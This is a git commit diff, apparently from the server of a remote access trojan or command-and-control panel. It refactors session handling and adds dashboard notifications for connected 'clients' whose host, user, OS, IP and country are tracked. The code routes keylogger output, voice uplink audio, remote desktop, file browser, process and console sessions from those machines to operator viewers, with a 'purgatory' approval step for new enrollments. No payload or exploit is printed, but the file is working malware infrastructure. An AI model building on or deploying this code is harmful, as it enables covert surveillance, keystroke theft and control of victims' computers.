big optimizations

This commit is contained in:
KingKDot
2026-03-22 23:21:27 -05:00
parent f69ca74346
commit 5c9c8dd543
18 changed files with 602 additions and 114 deletions
@@ -234,7 +234,7 @@ export async function handleClientRoutes(
);
metrics.recordCommand("screenshot");
}
const success = generateThumbnail(clientId);
const success = await generateThumbnail(clientId);
return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS });
}
@@ -86,6 +86,10 @@ type WsLifecycleDeps = {
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
handleBuildTagConnection: (clientId: string, buildTag: string) => void;
notifyDashboard: () => void;
notifyDashboardClientEvent: (
event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
) => void;
broadcastClientEvent: (
event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
@@ -300,6 +304,14 @@ export async function handleWebSocketMessage(
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
ws.send(encodeMessage({ type: "enrollment_status", status: "pending" }));
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_purgatory", {
id: resolvedId,
host: (payload as any).host || undefined,
user: (payload as any).user || undefined,
os: (payload as any).os || undefined,
ip: ip || undefined,
country,
});
deps.broadcastClientEvent("client_purgatory", {
id: resolvedId,
host: (payload as any).host || undefined,
@@ -361,7 +373,16 @@ export async function handleWebSocketMessage(
clientManager.addClient(infoObj.id, infoObj);
deps.dispatchAutoScriptsForConnection(infoObj, ws);
deps.notifyDashboard(); deps.broadcastClientEvent("client_online", {
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
ip: infoObj.ip,
country: infoObj.country,
});
deps.broadcastClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
@@ -618,14 +639,14 @@ export function handleWebSocketClose(
if (role === "file_browser_viewer") {
if (sessionId) {
sessionManager.getAllFileBrowserSessions().delete(sessionId);
sessionManager.deleteFileBrowserSession(sessionId);
}
return;
}
if (role === "process_viewer") {
if (sessionId) {
sessionManager.getAllProcessSessions().delete(sessionId);
sessionManager.deleteProcessSession(sessionId);
}
return;
}
@@ -661,6 +682,14 @@ export function handleWebSocketClose(
}
if (role === "client" && currentClient) {
deps.notifyDashboardClientEvent("client_offline", {
id: clientId,
host: currentClient.host,
user: currentClient.user,
os: currentClient.os,
ip: currentClient.ip,
country: currentClient.country,
});
deps.broadcastClientEvent("client_offline", {
id: clientId,
host: currentClient.host,
@@ -235,10 +235,9 @@ export function stopConsoleOnTarget(target: ClientInfo | undefined, sessionId: s
}
export function notifyConsoleClosed(clientId: string, reason: string) {
for (const [sessionId, session] of sessionManager.getAllConsoleSessions().entries()) {
if (session.clientId !== clientId) continue;
for (const session of sessionManager.getConsoleSessionsByClient(clientId)) {
safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
sessionManager.deleteConsoleSession(sessionId);
sessionManager.deleteConsoleSession(session.id);
}
}
@@ -58,7 +58,7 @@ export function handleFileBrowserViewerOpen(ws: ServerWebSocket<SocketData>) {
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: FileBrowserViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllFileBrowserSessions().set(sessionId, session);
sessionManager.addFileBrowserSession(session);
ws.data.sessionId = sessionId;
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, clientUser: target?.user || "", clientOs: target?.os || "" });
if (!target) {
@@ -240,8 +240,7 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W
}
let hasSession = false;
for (const session of sessionManager.getAllFileBrowserSessions().values()) {
if (session.clientId !== clientId) continue;
for (const session of sessionManager.getFileBrowserSessionsByClient(clientId)) {
if (!hasSession) {
hasSession = true;
if (type && type !== "command_result" && type !== "command_progress") {
@@ -265,7 +264,7 @@ export function handleProcessViewerOpen(ws: ServerWebSocket<SocketData>) {
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: ProcessViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllProcessSessions().set(sessionId, session);
sessionManager.addProcessSession(session);
ws.data.sessionId = sessionId;
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
@@ -305,8 +304,7 @@ export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw:
}
export function handleProcessMessage(clientId: string, payload: any) {
for (const session of sessionManager.getAllProcessSessions().values()) {
if (session.clientId !== clientId) continue;
for (const session of sessionManager.getProcessSessionsByClient(clientId)) {
safeSendViewer(session.viewer, payload);
}
}
@@ -371,8 +369,7 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket<SocketData>, ra
}
export function handleKeyloggerMessage(clientId: string, payload: any) {
for (const session of sessionManager.getAllKeyloggerSessions().values()) {
if (session.clientId !== clientId) continue;
for (const session of sessionManager.getKeyloggerSessionsByClient(clientId)) {
safeSendViewer(session.viewer, payload);
}
}
+1 -3
View File
@@ -88,11 +88,9 @@ export function handleVoiceUplink(clientId: string, payload: any) {
: null;
if (!bytes || bytes.byteLength === 0) return;
for (const session of sessionManager.getAllVoiceSessions().values()) {
for (const session of sessionManager.getVoiceSessionsByClient(clientId)) {
if (sessionId) {
if (session.id !== sessionId) continue;
} else if (session.clientId !== clientId) {
continue;
}
try {
session.viewer.send(bytes);